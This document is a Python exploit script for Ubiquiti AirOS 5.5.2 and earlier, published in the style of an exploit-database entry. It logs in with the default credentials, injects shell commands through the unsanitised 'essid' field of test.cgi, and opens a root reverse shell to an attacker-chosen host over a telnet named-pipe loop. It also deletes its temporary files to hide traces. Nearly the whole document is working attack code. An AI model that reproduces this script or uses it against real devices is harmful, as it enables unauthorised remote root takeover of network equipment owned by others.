Ubiquiti AirOS 5.5.2 – (Authenticated) Remote Command Execution
#!/usr/bin/python #+--------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution # Date : 12-28-2012 # Author : xistence (xistence<[AT]>0x90.nl) # Software link : http://www.ubnt.com/eula/?BACK=/downloads/XM-v5.5.2.build14175.bin # Vendor site : http://www.ubnt.com/ # Version : 5.5.2 and lower # Tested on : PicoStation M2 (hardware) # # Vulnerability : The http://<IP>/test.cgi "essid" parameter is not sanitized for input which allows for execution of operating # system commands. The parameter input field can be like this to create a file /tmp/test.txt: # "LINKTEST & /bin/touch /tmp/test.txt #" # Authentication to the web site is necessary to exploit this vulnerability. #+--------------------------------------------------------------------------------------------------------------------------------+ import urllib, urllib2, cookielib, sys, random, mimetools, mimetypes, itertools, time print "" print "[*] Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution - xistence (xistence<[at]>0x90.nl) - 2012-12-28" print "" if (len(sys.argv) != 4): print "[*] Usage: " + sys.argv[0] + " <rhost> <lhost> <lport>" print "" exit(0) rhost = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] webUser = "ubnt" webPass = "ubnt" # Create a random file with 8 characters filename = '' for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',8): filename+=i filename +=".sh" shellCmd = '& echo "mknod /tmp/backpipe p ; telnet ' + lhost + ' ' + lport + ' 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe ; rm -rf /tmp/backpipe ; rm -rf /tmp/' + filename + '" > /tmp/' + filename + ' ; chmod +x /tmp/' + filename + ' ; /bin/sh /tmp/' + filename + ' #' class MultiPartForm(object): """Accumulate the data to be used when posting a form.""" def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): """Add a simple field to the form data.""" self.form_fields.append( ( name, value ) ) return def __str__(self): """Return a string representing the form data, including attached files.""" # Build a list of lists, each containing "lines" of the # request. Each part is separated by a boundary string. # Once the list is built, return a string where each # line is separated by '\r\n'. parts = [] part_boundary = '--' + self.boundary # Add the form fields parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) # Flatten the list and add closing boundary marker, # then return CR+LF separated data flattened = list( itertools.chain( *parts) ) flattened.append( '--' + self.boundary + '--' ) flattened.append( '' ) return '\r\n'.join( flattened ) # Create the form with simple fields form = MultiPartForm() form.add_field( 'uri', '' ) form.add_field( 'username', webUser ) form.add_field( 'password', webPass ) form2 = MultiPartForm() form2.add_field( 'essid', 'LINKTEST ' + shellCmd ) form2.add_field( 'channel', '2412' ) form2.add_field( 'rssithresh', '13' ) form2.add_field( 'file_url', '' ) form2.add_field( 'action', 'test' ) # Our Cookie Jar cj = cookielib.CookieJar() opener = urllib2.build_opener( urllib2.HTTPCookieProcessor( cj ) ) # Just open the default url to grab the cookies and put them in the jar print "[+] Opening default page [http://%s] to store cookies" % rhost resp = opener.open( "http://%s" %rhost ) # Create our multi-part body + headers login POST request print "[+] Logging in with user [%s] and password [%s] at host [%s]" % ( webUser, webPass, rhost ) resp = urllib2.Request( "http://%s/login.cgi" % rhost ) body = str( form ) resp.add_header( 'Content-type', form.get_content_type() ) resp.add_header( 'Content-length', len( body ) ) resp.add_data( body ) request = opener.open( resp ).read() # Create our multi-part body + headers command execution POST request print "[+] Executing reverse shell commands [file = /tmp/" + filename + "], this might take up to a minute before a response is received in your netcat shell" resp = urllib2.Request( "http://%s/test.cgi" % rhost ) body = str( form2 ) resp.add_header( 'Content-type', form2.get_content_type() ) resp.add_header( 'Content-length', len( body ) ) resp.add_data( body ) request = opener.open( resp ).read() time.sleep(30) print "[+] Done, check your netcat reverse shell on ip [%s] port [%s]" % ( lhost, lport ) |